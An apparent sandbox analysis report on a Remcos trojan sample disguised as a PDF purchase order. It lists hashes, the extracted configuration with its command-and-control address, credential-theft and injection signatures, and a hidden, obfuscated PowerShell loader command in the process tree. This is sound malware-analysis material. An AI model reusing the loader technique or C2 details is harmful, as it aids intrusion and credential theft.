Analysis
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max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
16-08-2024 08:52
Static task
static1
Behavioral task
behavioral1
Sample
PURCHASE ORDER 03.05.2024.PDF.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
PURCHASE ORDER 03.05.2024.PDF.exe
Resource
win10v2004-20240802-en
General
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Target
PURCHASE ORDER 03.05.2024.PDF.exe
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Size
626KB
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MD5
9be2bb8f46192a7cf7006587c0e95d54
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SHA1
9e31f25cd0c0cf37a92a61ebd87293b519da5534
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SHA256
4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940
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SHA512
76140dd7bcfdb778b70c4864934016b9cbc60b4f36ece6aa671c6556f1504d38e3428102663c47ffa8346e2201078a28443a0b42be0c6b7e820f6823cab4810b
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SSDEEP
12288:naxvaBAHu5sn0ulSRNQeILTPNRLZi8s7exFe2WM:a9aBAObRNVI/PNxzxFMM
Malware Config
Extracted
remcos
RemoteHost
103.67.162.233:9462
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-GRR4WM
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/4788-64-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/4380-65-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/1992-63-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/4380-65-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/4788-64-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3092 powershell.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts wab.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4032 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3092 powershell.exe 4032 wab.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3092 set thread context of 4032 3092 powershell.exe 96 PID 4032 set thread context of 4788 4032 wab.exe 100 PID 4032 set thread context of 4380 4032 wab.exe 101 PID 4032 set thread context of 1992 4032 wab.exe 102 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\albocarbon.ile PURCHASE ORDER 03.05.2024.PDF.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wab.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wab.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wab.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PURCHASE ORDER 03.05.2024.PDF.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wab.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe 3092 powershell.exe 1992 wab.exe 1992 wab.exe 4788 wab.exe 4788 wab.exe 4788 wab.exe 4788 wab.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 3092 powershell.exe 4032 wab.exe 4032 wab.exe 4032 wab.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3092 powershell.exe Token: SeDebugPrivilege 1992 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4032 wab.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4920 wrote to memory of 3092 4920 PURCHASE ORDER 03.05.2024.PDF.exe 90 PID 4920 wrote to memory of 3092 4920 PURCHASE ORDER 03.05.2024.PDF.exe 90 PID 4920 wrote to memory of 3092 4920 PURCHASE ORDER 03.05.2024.PDF.exe 90 PID 3092 wrote to memory of 4032 3092 powershell.exe 96 PID 3092 wrote to memory of 4032 3092 powershell.exe 96 PID 3092 wrote to memory of 4032 3092 powershell.exe 96 PID 3092 wrote to memory of 4032 3092 powershell.exe 96 PID 3092 wrote to memory of 4032 3092 powershell.exe 96 PID 4032 wrote to memory of 4788 4032 wab.exe 100 PID 4032 wrote to memory of 4788 4032 wab.exe 100 PID 4032 wrote to memory of 4788 4032 wab.exe 100 PID 4032 wrote to memory of 4788 4032 wab.exe 100 PID 4032 wrote to memory of 4380 4032 wab.exe 101 PID 4032 wrote to memory of 4380 4032 wab.exe 101 PID 4032 wrote to memory of 4380 4032 wab.exe 101 PID 4032 wrote to memory of 4380 4032 wab.exe 101 PID 4032 wrote to memory of 1992 4032 wab.exe 102 PID 4032 wrote to memory of 1992 4032 wab.exe 102 PID 4032 wrote to memory of 1992 4032 wab.exe 102 PID 4032 wrote to memory of 1992 4032 wab.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe"C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4032 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\kqikt"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4788
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mkvuuvnx"4⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:4380
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\xnbnunyzkpnc"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1992
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
144B
MD5a14782d0642ba9ac2973474b4a6f6e18
SHA1023a60c3500ed82a3d0ebd399d3ba9dda6a749ad
SHA256df1255c3806ac1145f167eeadb4e4c15a9e7eb920e7a230b9c9c27d7c8679f20
SHA5125e35f6cdd559b26b2a41dd998cd1008be49d44bd8e16fe4fae46b70b233648628db4c37629a99646a5351ae9d369d1e3c3cfc09173629f26bd5ba9a7e76c36a8
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Filesize
52KB
MD5d9a344e48210c5d555312be94347270a
SHA18e1957cb5f8e181411781bca9fa72f57e8d0d2b1
SHA256e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6
SHA512ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853
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Filesize
310KB
MD5e5923d356c8ca6e039eb3c12c3f8ce7a
SHA1b920b2490fb5bbcefb281df27180eaa4f81825fc
SHA256a3761e7a154e7defc78d9be7e003d327de84520afe5d8adc90074822ade75b65
SHA51241af37685e04e272fe7b0b4e0dcb93b0ca6e33f930dc362ba82f93fa428ba0664ce06699c21ccb55a84c5e927d30415fe110cb6f35b1028d46f97d2f7ec95f4f
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD5a7e181f6aa185be0ab0ca68b30406fe6
SHA158c86162658dc609615b8b6400f85c92506dfdc8
SHA256c3071dc55b94db225d9c0f2c1b21c7e8f27dbfd168b85b7d618d8d19950e7ff2
SHA51249969eb10e0bf7925940eb7374451f811658ef9ccfb83b86fb337c4d06c3ba17eb0181f598d9e0ec9ca25bfaf644209ac47b73d62ac924e73d03a4dcf8f8dd0f